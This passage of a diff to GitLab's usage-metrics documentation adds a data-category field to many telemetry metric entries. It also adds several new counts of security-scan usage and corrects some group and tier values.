Tiers: `free`, `premium`, `ultimate`
@@ -17794,6 +21076,8 @@ Total GitLab Managed enabled clusters attached to projects
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17806,6 +21090,8 @@ Unique projects created in the past 28 days that have Slack notifications enable
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17818,6 +21104,8 @@ Unique projects created in the past 28 days that have Slack ‘/’ commands ena
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17830,6 +21118,8 @@ Projects with Prometheus alerting enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -17842,6 +21132,8 @@ Monthly active users for design management
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17854,6 +21146,8 @@ Aggregated value for wiki, design, and project repo Git write actions
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17866,6 +21160,8 @@ Number of unique users per month who edited a file from any web editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17878,6 +21174,8 @@ Count of monthly active users who have performed any Git operation (read/write/p
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17890,6 +21188,8 @@ Number of users using single file editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17902,6 +21202,8 @@ Number of users using the snippet editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17914,6 +21216,8 @@ Number of users using the static site editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17926,6 +21230,8 @@ Number of users editing using web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17938,6 +21244,8 @@ Unique monthly active users of the Wiki
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17950,6 +21258,8 @@ Total number of project approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17962,6 +21272,8 @@ Number of approval rules with the exact number of required approvers.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17974,6 +21286,8 @@ Number of approval rules with fewer approvers than required.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17986,6 +21300,8 @@ Number of approval rules with more approvers than required.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17998,6 +21314,8 @@ Number of project approval rules scoped to a specific repo branch.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18010,6 +21328,8 @@ Count of users creating deploy keys in last 28 days.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18022,6 +21342,8 @@ Count of users creating regular keys in last 28 days.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18034,6 +21356,8 @@ Count of the number of users creating merge requests
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18046,6 +21370,8 @@ Monthly count of the number of merge request users
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18058,6 +21384,8 @@ Merge requests with added rules
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18070,6 +21398,8 @@ Count of merge requests with optional codeowner approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18082,6 +21412,8 @@ Number of merge requests which have overriden rules created at the project level
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18094,6 +21426,8 @@ Count of merge requests with required codeowner approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18106,6 +21440,8 @@ Count of total projects that require approval by code owners for code changes
Group: `group::source code`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18118,6 +21454,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18130,6 +21468,8 @@ Count of the number of projects with setting to disable overriding approvers per
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18142,6 +21482,8 @@ Count of users creating projects that have a matching Git repository, result of
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18154,6 +21496,8 @@ Count of projects using code owners with code owners section feature
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18166,6 +21510,8 @@ Count of the number of projects without setting to disable overriding approvers
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18178,6 +21524,8 @@ Count of users creating projects with repositories making use of at least one pr
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18190,6 +21538,8 @@ Count of users creating projects with remote mirrors. Includes both push and pul
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18202,6 +21552,8 @@ Count of distinct author_id from snippets for last 28 days
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18214,6 +21566,8 @@ Count of unique users per month who create suggestions in merge request comments
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18226,6 +21580,8 @@ The total number of files which have been locked via the GitLab UI
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18238,6 +21594,8 @@ Number of paths/directories manually locked through the UI
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18250,6 +21608,8 @@ Number of unique users who have locked files or directories using LFS via the co
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18262,6 +21622,8 @@ Number of users creating path_locks in last 28 days.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18274,6 +21636,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18286,6 +21650,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18298,10 +21664,26 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.manage.compliance_frameworks_with_pipeline`
+
+Count of compliance frameworks that have a pipeline configuration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210622091519_compliance_frameworks_with_pipeline.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.manage.custom_compliance_frameworks`
Monthly count of all custom compliance framework labels
@@ -18310,6 +21692,8 @@ Monthly count of all custom compliance framework labels
Group: `compliance`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18322,6 +21706,8 @@ Missing description
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18334,6 +21720,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18346,6 +21734,8 @@ Number of group import states
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18358,6 +21748,8 @@ Whether group SAML is enabled
Group: `group:access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18370,6 +21762,8 @@ Number of users who are group members for last 28 days
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18382,6 +21776,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18394,6 +21790,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18406,6 +21804,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18418,6 +21818,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18430,6 +21832,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -18442,6 +21846,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18454,6 +21860,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18466,6 +21874,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18478,6 +21888,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18490,6 +21902,8 @@ Whether LDAP admin sync is enabled
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18502,6 +21916,8 @@ Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/adminis
Group: `group::acess`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18514,6 +21930,8 @@ Number of users creating keys synced as part of LDAP for last 28 days.
Group: `group::acess`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18526,6 +21944,8 @@ Number of LDAP servers configured
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18538,6 +21958,8 @@ Number of users that are linked to LDAP
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -18550,6 +21972,8 @@ Number of unique user logins using an OmniAuth provider
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18562,6 +21986,8 @@ Count of projects imported from Bitbucket
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18574,6 +22000,8 @@ Count of projects imported from Bitbucket Server
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18586,6 +22014,8 @@ Count of projects imported from Git
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18598,6 +22028,8 @@ Count of projects imported from Gitea
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18610,6 +22042,8 @@ Count of projects imported from GitHub
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18622,6 +22056,8 @@ Count of projects imported from GitLab using Project Export/Import
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18634,6 +22070,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18646,6 +22084,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18658,6 +22098,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18670,6 +22112,8 @@ Total count of projects imported
Group: `group::import`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -18682,6 +22126,8 @@ Count of projects imported from Bitbucket
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -18694,6 +22140,8 @@ Count of projects imported from Bitbucket Server
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -18706,6 +22154,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18718,6 +22168,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18730,6 +22182,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18742,6 +22196,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18754,6 +22210,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18766,6 +22224,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18778,6 +22238,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -18790,6 +22252,8 @@ Missing description
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -18802,6 +22266,8 @@ Number of users from projects imported
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18814,6 +22280,8 @@ Number of unique user logins using Google OAuth authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18826,6 +22294,8 @@ Number of unique user logins using password authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18838,6 +22308,8 @@ Number of unique user logins using two factor authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18850,6 +22322,8 @@ Number of unique user logins using two factor via a U2F device
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18862,6 +22336,8 @@ Number of unique user logins using two factor via a WebAuthn device
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18874,6 +22350,8 @@ Number of users created in the month
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18886,9 +22364,11 @@ Missing description
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.monitor.clusters`
@@ -18898,6 +22378,8 @@ Count users creating clusters in last 28 days.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18910,6 +22392,8 @@ Users creating clusters with Prometheus enabled in last 28 days.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18922,6 +22406,8 @@ Active users with enabled operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18934,6 +22420,8 @@ Active users with projects on operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18946,7 +22434,9 @@ Count of projects with Incident SLA enabled
Group: `group::monitor`
-Status: `data_available`
+Data Category: `Optional`
+
+Status: `deprecated`
Tiers: `premium`, `ultimate`
@@ -18956,11 +22446,13 @@ Count of unique projects with an incident from an alert created in the last mont
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.monitor.projects_with_error_tracking_enabled`
@@ -18970,6 +22462,8 @@ Count of users creating projects with error tracking enabled.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18980,11 +22474,13 @@ Count of unique projects with an incident created in the last month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.monitor.projects_with_tracing_enabled`
@@ -18994,6 +22490,8 @@ Projects with tracing enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19006,6 +22504,8 @@ The total number of projects in a given month with at least one package
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19018,6 +22518,8 @@ Count of MAU creating assignee lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -19030,6 +22532,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19042,6 +22546,8 @@ Count of users creating Issues in last 28 days.
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19054,6 +22560,8 @@ Count of MAU creating label lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19066,6 +22574,8 @@ Count of MAU created milestone lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -19078,6 +22588,8 @@ Count of MAU commenting on an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19090,6 +22602,8 @@ Count of MAU creating projects
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19102,6 +22616,8 @@ Missing description
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19114,6 +22630,8 @@ Missing description
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19126,6 +22644,8 @@ Missing description
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19138,6 +22658,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19150,6 +22672,8 @@ Missing description
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19162,6 +22686,8 @@ Count of MAU creating todos
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19174,6 +22700,8 @@ Unique users triggering deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19186,6 +22714,8 @@ Total failed deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19198,6 +22728,8 @@ Count creator_id from projects with repository mirroring enabled.
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -19210,6 +22742,8 @@ Unique users creating release tags
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19222,6 +22756,8 @@ Total successful deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -19234,6 +22770,8 @@ Counts of Pipelines that have at least 1 API Fuzzing Testing job
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19246,10 +22784,40 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.secure.cluster_image_scanning_pipeline`
+
+Pipelines containing a Cluster Image Scanning job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210618125224_cluster_image_scanning_pipeline.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.cluster_image_scanning_scans`
+
+Counts cluster image scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210618101233_cluster_image_scanning_scans.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.container_scanning_pipeline`
Pipelines containing a Container Scanning job
@@ -19258,6 +22826,8 @@ Pipelines containing a Container Scanning job
Group: `group::container security`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19270,6 +22840,8 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19282,6 +22854,8 @@ Counts of Pipelines that have at least 1 coverage-guided Fuzz Testing job
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19294,6 +22868,8 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19306,6 +22882,8 @@ Count of pipelines that have at least 1 DAST job
Group: `group::dynamic analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19318,6 +22896,8 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19330,6 +22910,8 @@ Count of pipelines with successful Dependency Scanning jobs
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19342,6 +22924,8 @@ Monthly number of users running Dependency Scanning Scans
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19354,6 +22938,8 @@ Counts of Pipelines that have at least 1 SAST job
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19366,6 +22952,8 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19378,6 +22966,8 @@ Counts of Pipelines that have at least 1 Secret Detection job
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19390,6 +22980,8 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19402,6 +22994,8 @@ Count of API Fuzzing `docker-in-docker` jobs by job names
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19414,10 +23008,26 @@ Count of API Fuzzing jobs by job name
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.secure.user_api_fuzzing_scans`
+
+Number of users who have run a API Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043622_user_api_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.user_container_scanning_jobs`
Distinct count per user of Container Scanning jobs run monthly
@@ -19426,6 +23036,22 @@ Distinct count per user of Container Scanning jobs run monthly
Group: `group::container security`
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_container_scanning_scans`
+
+Number of users who have run a Container Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043336_user_container_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19438,10 +23064,26 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.secure.user_coverage_fuzzing_scans`
+
+Number of users who have run a Coverage Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043509_user_coverage_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.user_dast_jobs`
Users who run a DAST job
@@ -19450,10 +23092,26 @@ Users who run a DAST job
Group: `group::dynamic analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.secure.user_dast_scans`
+
+Number of users who have run a DAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607041718_user_dast_scans.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_jobs`
Monthly number of users creating Dependency Scanning jobs
@@ -19462,6 +23120,22 @@ Monthly number of users creating Dependency Scanning jobs
Group: `group::composition analysis`
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_scans`
+
+Number of users who have run a Dependency Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043301_user_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19474,6 +23148,8 @@ Monthly number of users running License Scanning jobs
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19486,6 +23162,8 @@ Users who set personal preference to see Security Dashboard on Group information
Group: `group::threat insights`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -19498,10 +23176,26 @@ Users who run a SAST job
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `usage_activity_by_stage_monthly.secure.user_sast_scans`
+
+Number of users who have run a SAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043218_user_sast_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.user_secret_detection_jobs`
Users who run a Secret Detection job
@@ -19510,10 +23204,26 @@ Users who run a Secret Detection job
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `usage_activity_by_stage_monthly.secure.user_secret_detection_scans`
+
+Number of users who have run a Secret Detection scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043410_user_secret_detection_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage_monthly.secure.user_unique_users_all_secure_scanners`
Missing description
@@ -19522,6 +23232,8 @@ Missing description
Group: `group::secure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -19534,6 +23246,8 @@ Unique monthly builds in project
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19546,6 +23260,8 @@ Total pipelines in external repositories in a month
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19558,6 +23274,8 @@ Total pipelines in GitLab repositories in a month
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19570,6 +23288,8 @@ Total pipelines from an Auto DevOps template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19582,6 +23302,8 @@ Total Monthly Pipelines from templates in repository
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19594,6 +23316,8 @@ Total monthly Pipeline schedules in GitLab
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19606,6 +23330,8 @@ Distinct users triggering pipelines in a month
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`, `free`
@@ -19618,6 +23344,8 @@ Total configured Triggers in project
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19630,6 +23358,8 @@ Total GitLab Managed clusters with Runner enabled
Group: `group::runner`
+Data Category: `Optional`
+
Status: `data_available`
